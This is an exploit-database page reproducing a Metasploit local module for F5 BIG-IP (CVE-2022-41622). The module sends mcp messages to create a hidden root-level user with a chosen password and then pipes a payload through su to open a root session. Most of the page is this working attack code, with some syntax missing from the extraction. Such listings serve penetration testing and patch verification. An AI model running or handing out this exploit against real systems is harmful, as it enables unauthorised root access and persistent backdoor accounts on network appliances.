F5 Big-IP Create Administrative User

CVE Category Price Severity
CVE-2022-41622 CWE-798 Not disclosed High
Author Risk Exploitation Type Date
Positive Technologies Critical Remote 2023-02-06

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

F5 Big-IP Create Administrative User
# This module requires Metasploit:
# Current source:

require 'unix_crypt'

class MetasploitModule < Msf::Exploit::Local
  include Msf::Post::Linux::F5Mcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
        'Name' => 'F5 Big-IP Create Admin User',
        'Description' => %q{
          This creates a local user with a username/password and root-level
          privileges. Note that a root-level account is not required to do this,
          which makes it a privilege escalation issue.

          Note that this is pretty noisy, since it creates a user account and
          creates log files and such. Additionally, most (if not all)
          vulnerabilities in F5 grant root access anyways.

          Adapted from
        'License' => MSF_LICENSE,
        'Author' => ['Ron Bowes'],
        'Platform' => [ 'unix', 'linux', 'python' ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'References' => [
          ['URL', ''], # Original PoC
          ['URL', ''],
          ['URL', ''],
        'Privileged' => true,
        'DisclosureDate' => '2022-11-16',
        'Arch' => [ ARCH_CMD, ARCH_PYTHON ],
        'Type' => :unix_cmd,
        'Targets' => [[ 'Auto', {} ]],
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => []

    register_options(['USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alphanumeric(8)]),'PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(12)]),'CREATE_SESSION', [true, 'If set, use the new account to create a root session', true]),

  def exploit
    # Get or generate the username/password
    fail_with(Failure::BadConfig, 'USERNAME cannot be empty') if datastore['USERNAME'].empty?
    username = datastore['USERNAME']

    if datastore['CREATE_SESSION']
      password = Rex::Text.rand_text_alphanumeric(12)
      new_password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)

      print_status("Will attempt to create user #{username} / #{password}, then change password to #{new_password} when creating a session")
      password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)

      print_status("Will attempt to create user #{username} / #{password}")

    # If the password is already hashed, leave it as-is
    vprint_status('Hashing the password with SHA512')
    hashed_password =

    if !hashed_password || hashed_password.empty?
      fail_with(Failure::BadConfig, 'Failed to hash the password with String.crypt')

    # These requests have to go in a single 'session', which, to us, is
    # a single packet (since we don't have AF_UNIX sockets)
    result = mcp_send_recv([
      # Authenticate as 'admin' (this probably shouldn't work but does)
      mcp_build('user_authenticated', 'structure', [
        mcp_build('user_authenticated_name', 'string', 'admin')

      # Start transaction
      mcp_build('start_transaction', 'structure', [
        mcp_build('start_transaction_load_type', 'ulong', 0)

      # Create the role mapping
      mcp_build('create', 'structure', [
        mcp_build('user_role_partition', 'structure', [
          mcp_build('user_role_partition_user', 'string', username),
          mcp_build('user_role_partition_role', 'ulong', 0),
          mcp_build('user_role_partition_partition', 'string', '[All]'),

      # Create the userdb entry
      mcp_build('create', 'structure', [
        mcp_build('userdb_entry', 'structure', [
          mcp_build('userdb_entry_name', 'string', username),
          mcp_build('userdb_entry_partition_id', 'string', 'Common'),
          mcp_build('userdb_entry_is_system', 'ulong', 0),
          mcp_build('userdb_entry_shell', 'string', '/bin/bash'),
          mcp_build('userdb_entry_is_crypted', 'ulong', 1),
          mcp_build('userdb_entry_passwd', 'string', hashed_password),

      # Finish the transaction
      mcp_build('end_transaction', 'structure', [])

    # Handle errors
    if result.nil?
      fail_with(Failure::Unknown, 'Request to mcp appeared to fail')

    # The only result we really care about is an error
    error_returned = false
    result.each do |r|
      result = mcp_get_single(r, 'result')
      result_code = mcp_get_single(result, 'result_code')

      # If there's no code or it's zero, just ignore it
      if result_code.nil? || result_code == 0

      # If we're here, an error was returned!
      error_returned = true

      # Otherwise, try and get result_message
      result_message = mcp_get_single(result, 'result_message')
      if result_message.nil?
        print_warning("mcp query returned a non-zero result (#{result_code}), but no error message")
        print_error("mcp query returned an error message: #{result_message} (code: #{result_code})")

    # Let them know if it likely worked
    if !error_returned
      print_good("Service didn't return an error, so user was likely created!")

      if datastore['CREATE_SESSION']
        print_status('Attempting create a root session...')

        out = cmd_exec("echo -ne \"#{password}\\n#{password}\\n#{new_password}\\n#{new_password}\\n#{payload.encoded}\\n\" | su #{username}")

        vprint_status("Output from su command: #{out}")

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.